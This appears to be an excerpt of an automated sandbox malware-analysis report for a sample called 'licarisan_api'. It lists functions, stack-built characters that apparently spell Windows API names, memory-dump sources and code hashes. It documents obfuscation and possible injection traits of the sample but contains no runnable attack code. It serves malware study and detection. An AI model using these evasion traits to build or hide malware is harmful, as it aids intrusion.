H, xrefs: 007C91C1
E, xrefs: 007C91EB
l, xrefs: 007C9046
c, xrefs: 007C9070
e, xrefs: 007C91E4
u, xrefs: 007C91AC
n, xrefs: 007C8FC0
e, xrefs: 007C9069
t, xrefs: 007C9062
e, xrefs: 007C91BA
l, xrefs: 007C8FA4
d, xrefs: 007C8F96
o, xrefs: 007C919E
W, xrefs: 007C91F9
u, xrefs: 007C9038
u, xrefs: 007C8F9D
e, xrefs: 007C8F7A
d, xrefs: 007C91A5
i, xrefs: 007C9023
l, xrefs: 007C91DD
V, xrefs: 007C901C
d, xrefs: 007C91D6
M, xrefs: 007C8F88
l, xrefs: 007C91B3
d, xrefs: 007C8FC7
a, xrefs: 007C903F
a, xrefs: 007C91C8
o, xrefs: 007C905B
H, xrefs: 007C8FB2
r, xrefs: 007C9054
t, xrefs: 007C9077
n, xrefs: 007C91CF
t, xrefs: 007C9190
t, xrefs: 007C9031
x, xrefs: 007C91F2

Memory Dump Source

Source File: 00000000.00000002.1516559420.00000000007C8000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c8000_licarisan_api.jbxd

Similarity

API ID:
String ID: E$G$G$H$H$M$M$P$V$W$W$a$a$a$c$d$d$d$d$e$e$e$e$e$e$e$i$l$l$l$l$l$n$n$o$o$o$r$r$t$t$t$t$t$u$u$u$x
API String ID: 0-1614795529
Opcode ID: 2d8606e901c87d84c590fb8d61368a799dfa844001f45568216a8e9dc08478b7
Instruction ID: fa5cfc387f4b553ce69fc162366cd4bcb99108db84debfdbb957c689cefa2769
Opcode Fuzzy Hash: 2d8606e901c87d84c590fb8d61368a799dfa844001f45568216a8e9dc08478b7
Instruction Fuzzy Hash: 33B1D160D086E8D9FB258628DC08BDBBA759F65304F0440FDD14CAB281D6BE4FD48B3A

Function 007A86DB Relevance: 57.9, Strings: 46, Instructions: 405COMMON

Download Yara Rule

Strings

s, xrefs: 007A8B8F
t, xrefs: 007A8B65
r, xrefs: 007A8BE4
V, xrefs: 007A8BD6
V, xrefs: 007A8C5C
e, xrefs: 007A8C15
L, xrefs: 007A9208
c, xrefs: 007A8B81
L, xrefs: 007A9224
x, xrefs: 007A8B57
s, xrefs: 007A8B96
i, xrefs: 007A8BDD
y, xrefs: 007A924E
l, xrefs: 007A8C94
l, xrefs: 007A8C9B
A, xrefs: 007A8C8D
a, xrefs: 007A8BF9
r, xrefs: 007A9247
a, xrefs: 007A9216
o, xrefs: 007A8B7A
l, xrefs: 007A8C00
a, xrefs: 007A8C7F
b, xrefs: 007A9232
r, xrefs: 007A8C6A
r, xrefs: 007A9239
o, xrefs: 007A8CA2
e, xrefs: 007A8B88
u, xrefs: 007A8C78
e, xrefs: 007A8C1C
u, xrefs: 007A8BF2
P, xrefs: 007A8B6C
r, xrefs: 007A8C0E
E, xrefs: 007A8B50
F, xrefs: 007A8C07
r, xrefs: 007A8B73
i, xrefs: 007A8B5E
l, xrefs: 007A8C86
i, xrefs: 007A922B
d, xrefs: 007A921D
t, xrefs: 007A8BEB
W, xrefs: 007A9255
o, xrefs: 007A920F
t, xrefs: 007A8C71
c, xrefs: 007A8CA9
i, xrefs: 007A8C63
a, xrefs: 007A9240

Memory Dump Source

Source File: 00000000.00000002.1516483994.00000000007A5000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a5000_licarisan_api.jbxd

Similarity

API ID:
String ID: A$E$F$L$L$P$V$V$W$a$a$a$a$b$c$c$d$e$e$e$i$i$i$i$l$l$l$l$o$o$o$r$r$r$r$r$r$s$s$t$t$t$u$u$x$y
API String ID: 0-2526299333
Opcode ID: b312ae2cf88b9d2adab0999e89c95a1cca43936e2dbbb0a56803911b926e4a60
Instruction ID: a4ebcc1c7a01cb681dc6f3b4bae5449d79fe82a70953cbc59b87d24a7d03dcbf
Opcode Fuzzy Hash: b312ae2cf88b9d2adab0999e89c95a1cca43936e2dbbb0a56803911b926e4a60
Instruction Fuzzy Hash: B202C561D086A8CEF7218B24DC047AABA75EF96304F1441F9D54DA7282DA7E0FD4CF22

Function 007A8414 Relevance: 57.9, Strings: 46, Instructions: 389COMMON

Download Yara Rule

Strings

s, xrefs: 007A8B8F
t, xrefs: 007A8B65
r, xrefs: 007A8BE4
V, xrefs: 007A8BD6
V, xrefs: 007A8C5C
e, xrefs: 007A8C15
L, xrefs: 007A9208
c, xrefs: 007A8B81
L, xrefs: 007A9224
x, xrefs: 007A8B57
s, xrefs: 007A8B96
i, xrefs: 007A8BDD
y, xrefs: 007A924E
l, xrefs: 007A8C94
l, xrefs: 007A8C9B
A, xrefs: 007A8C8D
a, xrefs: 007A8BF9
r, xrefs: 007A9247
a, xrefs: 007A9216
o, xrefs: 007A8B7A
l, xrefs: 007A8C00
a, xrefs: 007A8C7F
b, xrefs: 007A9232
r, xrefs: 007A8C6A
r, xrefs: 007A9239
o, xrefs: 007A8CA2
e, xrefs: 007A8B88
u, xrefs: 007A8C78
e, xrefs: 007A8C1C
u, xrefs: 007A8BF2
P, xrefs: 007A8B6C
r, xrefs: 007A8C0E
E, xrefs: 007A8B50
F, xrefs: 007A8C07
r, xrefs: 007A8B73
i, xrefs: 007A8B5E
l, xrefs: 007A8C86
i, xrefs: 007A922B
d, xrefs: 007A921D
t, xrefs: 007A8BEB
W, xrefs: 007A9255
o, xrefs: 007A920F
t, xrefs: 007A8C71
c, xrefs: 007A8CA9
i, xrefs: 007A8C63
a, xrefs: 007A9240

Memory Dump Source

Source File: 00000000.00000002.1516483994.00000000007A5000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a5000_licarisan_api.jbxd

Similarity

API ID:
String ID: A$E$F$L$L$P$V$V$W$a$a$a$a$b$c$c$d$e$e$e$i$i$i$i$l$l$l$l$o$o$o$r$r$r$r$r$r$s$s$t$t$t$u$u$x$y
API String ID: 0-2526299333
Opcode ID: f804407e4b2c59fa78ad1642245432061ad90c281026a65c4e5b18163912a8fd
Instruction ID: ea28fe60a8bc3e70adff49d02a10531fce8fd4d43886849546174ea31bd0c72c
Opcode Fuzzy Hash: f804407e4b2c59fa78ad1642245432061ad90c281026a65c4e5b18163912a8fd
Instruction Fuzzy Hash: 94F1D8A1D086948FF7218624DC447EABA79EF92304F0481F9D54D67382D6BE0FD48F62

Function 004255AF Relevance: 20.1, Strings: 16, Instructions: 129COMMON

Download Yara Rule

Strings

XS, xrefs: 004256F3
KB<O, xrefs: 004255B2
y, xrefs: 0042575A
b, xrefs: 0042573E
i, xrefs: 00425737
r, xrefs: 00425745
o, xrefs: 0042571B
JI9N, xrefs: 004254D0
u7V, xrefs: 00430A52
L, xrefs: 00425730
a, xrefs: 0042574C
W, xrefs: 00425761
r, xrefs: 00425753
a, xrefs: 00425722
d, xrefs: 00425729
L, xrefs: 00425714

Memory Dump Source

Source File: 00000000.00000002.1516137583.0000000000420000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_licarisan_api.jbxd

Similarity

API ID:
String ID: JI9N$KB<O$L$L$W$XS$a$a$b$d$i$o$r$r$u7V$y
API String ID: 0-1179719566
Opcode ID: 97f59a78038705dae9e27f31a84631499b9c5eac8d0b701ae58ba1310839910b
Instruction ID: a95e35ec970552aee82520789b3426ff6955b1624cfd0778b672343b38849985
Opcode Fuzzy Hash: 97f59a78038705dae9e27f31a84631499b9c5eac8d0b701ae58ba1310839910b
Instruction Fuzzy Hash: 93418CB1D059648AD7209B94DC417EAB7B1FF89311F5090EAD84DA7200E2386EC1CFA6

Function 004253D9 Relevance: 18.9, Strings: 15, Instructions: 101COMMON

Download Yara Rule

Strings

XS, xrefs: 004256F3
y, xrefs: 0042575A
b, xrefs: 0042573E
i, xrefs: 00425737
r, xrefs: 00425745
o, xrefs: 0042571B
JI9N, xrefs: 004254D0
u7V, xrefs: 00430A52
L, xrefs: 00425730
a, xrefs: 0042574C
W, xrefs: 00425761
r, xrefs: 00425753
a, xrefs: 00425722
d, xrefs: 00425729
L, xrefs: 00425714

Memory Dump Source

Source File: 00000000.00000002.1516137583.0000000000420000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_licarisan_api.jbxd

Similarity

API ID:
String ID: JI9N$L$L$W$XS$a$a$b$d$i$o$r$r$u7V$y
API String ID: 0-1821653520
Opcode ID: 19b9d58ad2addf9538037152b34ff159d14b250c315f5e69698dfe1ff32de387
Instruction ID: bf1e39dfa2e40ed735afd83b0657a99c4470b4152dab3dec8cf54ad88e3e233e
Opcode Fuzzy Hash: 19b9d58ad2addf9538037152b34ff159d14b250c315f5e69698dfe1ff32de387
Instruction Fuzzy Hash: C9319DB5D155349ADB209B94DC41BEBB7B5FF88311F1090FAD94DA7200E2385EC1CBA6

Function 007B46C4 Relevance: 17.7, Strings: 14, Instructions: 206COMMON

Download Yara Rule

Strings

5ZWP, xrefs: 007B46C6
d, xrefs: 007B49A8
r, xrefs: 007B49D2
L, xrefs: 007B49AF
a, xrefs: 007B49A1
b, xrefs: 007B49BD
W, xrefs: 007B49E0
y, xrefs: 007B49D9
L, xrefs: 007B4993
, xrefs: 007B583A
r, xrefs: 007B49C4
a, xrefs: 007B49CB
o, xrefs: 007B499A
i, xrefs: 007B49B6

Memory Dump Source

Source File: 00000000.00000002.1516514758.00000000007B2000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b2000_licarisan_api.jbxd

Similarity

API ID:
String ID: $5ZWP$L$L$W$a$a$b$d$i$o$r$r$y
API String ID: 0-3300391464
Opcode ID: 9c245e819d567d922ddc5a507a7922967f7ebf691b23e993a550b77b97a83b71
Instruction ID: f2ead5c23293f4aefc9f9847524965fcac93eac02f00d577b04d57fa9b376d7f
Opcode Fuzzy Hash: 9c245e819d567d922ddc5a507a7922967f7ebf691b23e993a550b77b97a83b71
Instruction Fuzzy Hash: D881D4A1D086689AFB208B24DC447EA7775EFA0704F0480F9D94DA7781E37E0ED5CB26

Function 007B48A5 Relevance: 16.6, Strings: 13, Instructions: 321COMMON

Download Yara Rule

Strings

d, xrefs: 007B49A8
r, xrefs: 007B49D2
L, xrefs: 007B49AF
a, xrefs: 007B49A1
b, xrefs: 007B49BD
W, xrefs: 007B49E0
y, xrefs: 007B49D9
L, xrefs: 007B4993
, xrefs: 007B583A
r, xrefs: 007B49C4
a, xrefs: 007B49CB
o, xrefs: 007B499A
i, xrefs: 007B49B6

Memory Dump Source

Source File: 00000000.00000002.1516514758.00000000007B2000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b2000_licarisan_api.jbxd

Similarity

API ID:
String ID: $L$L$W$a$a$b$d$i$o$r$r$y
API String ID: 0-572988056
Opcode ID: 69c2375d1b976ba8ba29afa500910bcf711f0554b72ddaa425017fa237391afd
Instruction ID: 54989faef79cc4890e4a3093fcc743d28444f0a193531649b0ab82dcce4e6ea0
Opcode Fuzzy Hash: 69c2375d1b976ba8ba29afa500910bcf711f0554b72ddaa425017fa237391afd
Instruction Fuzzy Hash: F6C1FEA1D146689FFB208B24DC04BEAB775EF95300F0481FAD90DA7282E7795EC58F16

Function 007B4677 Relevance: 16.5, Strings: 13, Instructions: 275COMMON

Download Yara Rule

Strings

d, xrefs: 007B49A8
r, xrefs: 007B49D2
L, xrefs: 007B49AF
a, xrefs: 007B49A1
b, xrefs: 007B49BD
W, xrefs: 007B49E0
y, xrefs: 007B49D9
L, xrefs: 007B4993
, xrefs: 007B583A
r, xrefs: 007B49C4
a, xrefs: 007B49CB
o, xrefs: 007B499A
i, xrefs: 007B49B6

Memory Dump Source

Source File: 00000000.00000002.1516514758.00000000007B2000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b2000_licarisan_api.jbxd

Similarity

API ID:
String ID: $L$L$W$a$a$b$d$i$o$r$r$y
API String ID: 0-572988056
Opcode ID: 44cb24eba65606c1166d7644c239221e9fdf2abc9c31d862ef3f431adbc2bf62
Instruction ID: 1d41d61696faaeb6f83d9788da3d26cc202051485ec3c7bef9a3d7a00e00d122
Opcode Fuzzy Hash: 44cb24eba65606c1166d7644c239221e9fdf2abc9c31d862ef3f431adbc2bf62
Instruction Fuzzy Hash: D2B1C3A1D046688AFB208B25DC44BEAB775EF91304F0480FAD94D67281E77E4EC5CF66

Function 007B467C Relevance: 16.5, Strings: 13, Instructions: 228COMMON

Download Yara Rule

Strings

d, xrefs: 007B49A8
r, xrefs: 007B49D2
L, xrefs: 007B49AF
a, xrefs: 007B49A1
b, xrefs: 007B49BD
W, xrefs: 007B49E0
y, xrefs: 007B49D9
L, xrefs: 007B4993
, xrefs: 007B583A
r, xrefs: 007B49C4
a, xrefs: 007B49CB
o, xrefs: 007B499A
i, xrefs: 007B49B6

Memory Dump Source

Source File: 00000000.00000002.1516514758.00000000007B2000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b2000_licarisan_api.jbxd

Similarity

API ID:
String ID: $L$L$W$a$a$b$d$i$o$r$r$y
API String ID: 0-572988056
Opcode ID: 3c3711a4f4a8d9953aaf1bf67dc889b3530e64d78918102746bc0bf6a2190a81
Instruction ID: 31e55d4428be2dc01bc2485e1703538c826575187598493f724c0ca305d066cb
Opcode Fuzzy Hash: 3c3711a4f4a8d9953aaf1bf67dc889b3530e64d78918102746bc0bf6a2190a81
Instruction Fuzzy Hash: 2491D6A1D046589AFB208B25DC44BEAB779EF91704F0480FAD90D67381E37E0EC5CB26

Function 007B468A Relevance: 16.5, Strings: 13, Instructions: 225COMMON

Download Yara Rule

Strings

d, xrefs: 007B49A8
r, xrefs: 007B49D2
L, xrefs: 007B49AF
a, xrefs: 007B49A1
b, xrefs: 007B49BD
W, xrefs: 007B49E0
y, xrefs: 007B49D9
L, xrefs: 007B4993
, xrefs: 007B583A
r, xrefs: 007B49C4
a, xrefs: 007B49CB
o, xrefs: 007B499A
i, xrefs: 007B49B6

Memory Dump Source

Source File: 00000000.00000002.1516514758.00000000007B2000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b2000_licarisan_api.jbxd

Similarity

API ID:
String ID: $L$L$W$a$a$b$d$i$o$r$r$y
API String ID: 0-572988056
Opcode ID: b255ba1d48f57c8064a987c58bef088803b1bd00f1dadd548c70d7fc876133b7
Instruction ID: 55a1a05e5a6d9b2e7339a985b4d82b1c2388a37b2aed7fe38a28277a57372afd
Opcode Fuzzy Hash: b255ba1d48f57c8064a987c58bef088803b1bd00f1dadd548c70d7fc876133b7
Instruction Fuzzy Hash: C191D5A1D046589AFB208B25DC44BEAB775EF91704F0480F9D90DA7381E37E0ED5CB26

Function 007B45C6 Relevance: 16.4, Strings: 13, Instructions: 180COMMON

Download Yara Rule

Strings

d, xrefs: 007B49A8
r, xrefs: 007B49D2
L, xrefs: 007B49AF
a, xrefs: 007B49A1
b, xrefs: 007B49BD
W, xrefs: 007B49E0
y, xrefs: 007B49D9
L, xrefs: 007B4993
, xrefs: 007B583A
r, xrefs: 007B49C4
a, xrefs: 007B49CB
o, xrefs: 007B499A
i, xrefs: 007B49B6

Memory Dump Source

Source File: 00000000.00000002.1516514758.00000000007B2000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b2000_licarisan_api.jbxd

Similarity

API ID:
String ID: $L$L$W$a$a$b$d$i$o$r$r$y
API String ID: 0-572988056
Opcode ID: 0f9492a092ebc81cc9c7a12689f7382ef4bac5a618cf7a408d267f403c00a0de
Instruction ID: 18bae8a3b5ca29fb9dc175de35c8babb5c46aa2eb1979fe251da8c6320b6e4b7
Opcode Fuzzy Hash: 0f9492a092ebc81cc9c7a12689f7382ef4bac5a618cf7a408d267f403c00a0de
Instruction Fuzzy Hash: 1C6105A1D086A88AF7208624DC447EAB736EF91304F0480F9C94D67682D77E1FC5CF66

Function 007B4843 Relevance: 16.4, Strings: 13, Instructions: 161COMMON

Download Yara Rule

Strings

d, xrefs: 007B49A8
r, xrefs: 007B49D2
L, xrefs: 007B49AF
a, xrefs: 007B49A1
b, xrefs: 007B49BD
W, xrefs: 007B49E0
y, xrefs: 007B49D9
L, xrefs: 007B4993
, xrefs: 007B583A
r, xrefs: 007B49C4
a, xrefs: 007B49CB
o, xrefs: 007B499A
i, xrefs: 007B49B6

Memory Dump Source

Source File: 00000000.00000002.1516514758.00000000007B2000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b2000_licarisan_api.jbxd

Similarity

API ID:
String ID: $L$L$W$a$a$b$d$i$o$r$r$y
API String ID: 0-572988056
Opcode ID: 56316377e7edddd9756813443838ea8b7ad9cf4187f3463a42878c778953d247
Instruction ID: b281c07892ce7a7b90202060ffcef1fd184cda71759e92f0c7292564c6a6bd12
Opcode Fuzzy Hash: 56316377e7edddd9756813443838ea8b7ad9cf4187f3463a42878c778953d247
Instruction Fuzzy Hash: 2B51E4A1D086A8CAF720C624DC44BEAB676EF91304F0480F9C94D67682D37E1ED5CF66

Function 007B4631 Relevance: 16.4, Strings: 13, Instructions: 147COMMON

Download Yara Rule

Strings

d, xrefs: 007B49A8
r, xrefs: 007B49D2
L, xrefs: 007B49AF
a, xrefs: 007B49A1
b, xrefs: 007B49BD
W, xrefs: 007B49E0
y, xrefs: 007B49D9
L, xrefs: 007B4993
, xrefs: 007B583A
r, xrefs: 007B49C4
a, xrefs: 007B49CB
o, xrefs: 007B499A
i, xrefs: 007B49B6

Memory Dump Source

Source File: 00000000.00000002.1516514758.00000000007B2000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b2000_licarisan_api.jbxd

Similarity

API ID:
String ID: $L$L$W$a$a$b$d$i$o$r$r$y
API String ID: 0-572988056
Opcode ID: 2e7120378d6103acd20ef500ee2020b8ea8a198172303fcebf36e7493a2d0e72
Instruction ID: 2091a1666e81b710d2f837b05fc3e97301688da7bf06f6c01e0038b2b36e95ea
Opcode Fuzzy Hash: 2e7120378d6103acd20ef500ee2020b8ea8a198172303fcebf36e7493a2d0e72
Instruction Fuzzy Hash: FD51F9A1D096A8CAF7208624DC447EA7676EF91304F0480F9D94D676C2D37E0FD5CB66

Function 007F29EE Relevance: 15.5, Strings: 12, Instructions: 472COMMON

Download Yara Rule

Strings

i, xrefs: 007F373F
e, xrefs: 007F3769
o, xrefs: 007F375B
OP=6, xrefs: 007F382A
s, xrefs: 007F3777
E, xrefs: 007F3731
s, xrefs: 007F3770
t, xrefs: 007F3746
r, xrefs: 007F3754
c, xrefs: 007F3762
x, xrefs: 007F3738
P, xrefs: 007F374D

Memory Dump Source

Source File: 00000000.00000002.1516559420.00000000007C8000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c8000_licarisan_api.jbxd

Similarity

API ID:
String ID: E$OP=6$P$c$e$i$o$r$s$s$t$x
API String ID: 0-1470631180
Opcode ID: 09ebfc3cee5769e0a15467dc5eb146999280db3e56de0ae44ecba8c86fbbb221
Instruction ID: a9497bdacdfcf33b79b82a1cddb799791f99be43b9afb7fffedb8d3c635a4b74
Opcode Fuzzy Hash: 09ebfc3cee5769e0a15467dc5eb146999280db3e56de0ae44ecba8c86fbbb221
Instruction Fuzzy Hash: 7B12E0B1D041688BEB24CB24DC94BEABBB5EB84314F1041EAD90D67382E7795EC6CF51

Function 0042EF71 Relevance: 15.4, Strings: 12, Instructions: 424COMMON

Download Yara Rule

Strings

d, xrefs: 0042F326
a, xrefs: 0042F31F
b, xrefs: 0042F33B
y, xrefs: 0042F357
a, xrefs: 0042F349
L, xrefs: 0042F32D
L, xrefs: 0042F311
i, xrefs: 0042F334
r, xrefs: 0042F342
r, xrefs: 0042F350
o, xrefs: 0042F318
W, xrefs: 0042F35E

Memory Dump Source

Source File: 00000000.00000002.1516137583.0000000000420000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_licarisan_api.jbxd

Similarity

API ID:
String ID: L$L$W$a$a$b$d$i$o$r$r$y
API String ID: 0-4069139063
Opcode ID: fe0036600aaa71d9036da78b86e7ce1179d25894a265d1a965c112d28492b465
Instruction ID: 3b0d6356ec5096719eb188195106c3d4840c866f5eb3253a309b61cbfe0bcb14
Opcode Fuzzy Hash: fe0036600aaa71d9036da78b86e7ce1179d25894a265d1a965c112d28492b465
Instruction Fuzzy Hash: 76F1E2B2E041689AF7208A14DC44BEBB775EF90310F5480FAD84DA7280D6BD5EC6CF66

Function 007F0BD4 Relevance: 15.4, Strings: 12, Instructions: 409COMMON

Download Yara Rule

Strings

a, xrefs: 007F27BA
o, xrefs: 007F27B3
L, xrefs: 007F27AC
a, xrefs: 007F27E4
r, xrefs: 007F27DD
y, xrefs: 007F27F2
i, xrefs: 007F27CF
W, xrefs: 007F27F9
b, xrefs: 007F27D6
d, xrefs: 007F27C1
r, xrefs: 007F27EB
L, xrefs: 007F27C8

Memory Dump Source

Source File: 00000000.00000002.1516559420.00000000007C8000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c8000_licarisan_api.jbxd

Similarity

API ID: ContextThreadWow64
String ID: L$L$W$a$a$b$d$i$o$r$r$y
API String ID: 983334009-4069139063
Opcode ID: 6002af12fce6735153e62216972465451b220012b5d71a7e03f4f33cdb3df015
Instruction ID: e04ed47e3fa3dee2c332e455e23ac4ae7fbd3e828089d22b8b571c6959cea58e
Opcode Fuzzy Hash: 6002af12fce6735153e62216972465451b220012b5d71a7e03f4f33cdb3df015
Instruction Fuzzy Hash: 76026BB0E082A88BEB24CB24CC94BAAB7B5FF54300F1081E9D549A7381D7799FC58F51

Function 007DBDF4 Relevance: 15.2, Strings: 12, Instructions: 238COMMON

Download Yara Rule

Strings

r, xrefs: 007DC275
a, xrefs: 007DC26E
d, xrefs: 007DC24B
b, xrefs: 007DC260
a, xrefs: 007DC244
y, xrefs: 007DC27C
i, xrefs: 007DC259
L, xrefs: 007DC236
W, xrefs: 007DC283
L, xrefs: 007DC252
r, xrefs: 007DC267
o, xrefs: 007DC23D

Memory Dump Source

Source File: 00000000.00000002.1516559420.00000000007C8000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c8000_licarisan_api.jbxd

Similarity

API ID:
String ID: L$L$W$a$a$b$d$i$o$r$r$y
API String ID: 0-4069139063
Opcode ID: 8612cae6313896ea96477478bb1756454fa7e0429fa3a15928fe8ac81b2371f8
Instruction ID: 3a667f95661f39c4e01d96a8b5e2dc4927084600ea4158afe643b3cad93730cd
Opcode Fuzzy Hash: 8612cae6313896ea96477478bb1756454fa7e0429fa3a15928fe8ac81b2371f8
Instruction Fuzzy Hash: C4A19FB2D04569CAEB20CB24DC487EAB6B5EF54310F0480FAD90DA7780DA7A4FC19F65

Function 007F285D Relevance: 15.2, Strings: 12, Instructions: 206COMMON

Download Yara Rule

Strings

i, xrefs: 007F373F
e, xrefs: 007F3769
o, xrefs: 007F375B
OP=6, xrefs: 007F382A
s, xrefs: 007F3777
E, xrefs: 007F3731
s, xrefs: 007F3770
t, xrefs: 007F3746
r, xrefs: 007F3754
c, xrefs: 007F3762
x, xrefs: 007F3738
P, xrefs: 007F374D

Memory Dump Source

Source File: 00000000.00000002.1516559420.00000000007C8000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c8000_licarisan_api.jbxd

Similarity

API ID:
String ID: E$OP=6$P$c$e$i$o$r$s$s$t$x
API String ID: 0-1470631180
Opcode ID: 1bedcd799b3704fa16c4836ddb8c7196d694dff6ab7d5edf8c59857ade6502c2
Instruction ID: 49b2e0aa4c2bc6a739f4bc7bc73e817d33109c7dea1006be2841cfe2c173f8d4
Opcode Fuzzy Hash: 1bedcd799b3704fa16c4836ddb8c7196d694dff6ab7d5edf8c59857ade6502c2
Instruction Fuzzy Hash: BE71F4B2D041989AF7208A14DC49BEBBB75EB84310F1481F9D90D26781D7BD5FCACB62

Function 007B5474 Relevance: 4.1, Strings: 3, Instructions: 306COMMON

Download Yara Rule

Strings

1C{1C{l, xrefs: 007B577C, 007B57D8, 007B56B6
1C{1C{l, xrefs: 007B56C2, 007B56DC
, xrefs: 007B583A

Memory Dump Source

Source File: 00000000.00000002.1516514758.00000000007B2000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b2000_licarisan_api.jbxd

Similarity

API ID:
String ID: $1C{1C{l$1C{1C{l
API String ID: 0-608512137
Opcode ID: ca86fb6c8a59021c4adaea8a7a5d9142cd9dbaa9ae9cc8dd90b9c02cf93f85f7
Instruction ID: d220825f4ca799705e0f7442febec672842cedfd735eb7c870747f0426867b36
Opcode Fuzzy Hash: ca86fb6c8a59021c4adaea8a7a5d9142cd9dbaa9ae9cc8dd90b9c02cf93f85f7
Instruction Fuzzy Hash: 18D16EB1E046688FEB24CB14DC95BEAB7B5EF44314F2481EAD90EA7241DA385EC1CF51

Function 007CD174 Relevance: 3.9, Strings: 3, Instructions: 193COMMON

Download Yara Rule

Strings

W, xrefs: 007CD9C6
XQ, xrefs: 007CD945
W, xrefs: 007CD5BB

Memory Dump Source

Source File: 00000000.00000002.1516559420.00000000007C8000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c8000_licarisan_api.jbxd

Similarity

API ID:
String ID: W$W$XQ
API String ID: 0-1709571651
Opcode ID: 660cf32cec87aaa18b0f71f848016d5f62cb378498d262cd5e7b4eecd99bfccb
Instruction ID: 3710991d6b2d964e91331fea5787140b5638503380775771f9adbbb765a82c57
Opcode Fuzzy Hash: 660cf32cec87aaa18b0f71f848016d5f62cb378498d262cd5e7b4eecd99bfccb
Instruction Fuzzy Hash: C761F4B2D14604AFE7258B10DC95EEBB778FB84310F1441FED84A96241D63DAFC18E52

Function 007CD42B Relevance: 3.9, Strings: 3, Instructions: 136COMMON

Download Yara Rule

Strings

W, xrefs: 007CD9C6
XQ, xrefs: 007CD945
W, xrefs: 007CD5BB

Memory Dump Source

Source File: 00000000.00000002.1516559420.00000000007C8000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c8000_licarisan_api.jbxd

Similarity

API ID:
String ID: W$W$XQ
API String ID: 0-1709571651
Opcode ID: 014977726cdc147d23291b60190d12507f851127c1400ed98ba7125d8acd9394
Instruction ID: 4d586733c7f8929b359d6f84bdedd6620fb0ecb0d7f9be193eb083224f2fdfb1
Opcode Fuzzy Hash: 014977726cdc147d23291b60190d12507f851127c1400ed98ba7125d8acd9394
Instruction Fuzzy Hash: 7541B5B2D145149FE7248B14DC95AFB77B8EB84310F1441BED90996281D73CAEC1CF51

Function 007B4BD5 Relevance: 3.0, Strings: 2, Instructions: 494COMMON

Download Yara Rule

Strings

LoadLibraryW, xrefs: 007B4FFF, 007B505B, 007B4F39, 007B4F86, 007B4FA4, 007B4F53, 007B4FC7, 007B4FDF, 007B5017, 007B50CA
, xrefs: 007B583A

Memory Dump Source

Source File: 00000000.00000002.1516514758.00000000007B2000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b2000_licarisan_api.jbxd

Similarity

API ID:
String ID: $LoadLibraryW
API String ID: 0-1993675180
Opcode ID: 0079dc47bab233b124bb53880fb4599766d435f883b04591b3aab9fa35308d07
Instruction ID: 96852ac6867df43a6c7a59145d4e38dd9386f8c090b38d7d112ba091ae2b45ce
Opcode Fuzzy Hash: 0079dc47bab233b124bb53880fb4599766d435f883b04591b3aab9fa35308d07
Instruction Fuzzy Hash: 07129DB1E046288FEB24CB14DC94BEABBB5FF85311F1481EAD849A7241D6785EC1CF52

Function 007A960E Relevance: 1.7, Strings: 1, Instructions: 452COMMON

Download Yara Rule

Strings

9:>5, xrefs: 007A9A1C

Memory Dump Source

Source File: 00000000.00000002.1516483994.00000000007A5000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a5000_licarisan_api.jbxd

Similarity

API ID:
String ID: 9:>5
API String ID: 0-2465060655
Opcode ID: c782c07994cc7461cffac5bda77c954f49b502a8b17efd2cf54f71845c538bb9
Instruction ID: 356f250cab06049e4ab14e207d23a875155de6720ba2dc8f9523bf1bf2f16797
Opcode Fuzzy Hash: c782c07994cc7461cffac5bda77c954f49b502a8b17efd2cf54f71845c538bb9
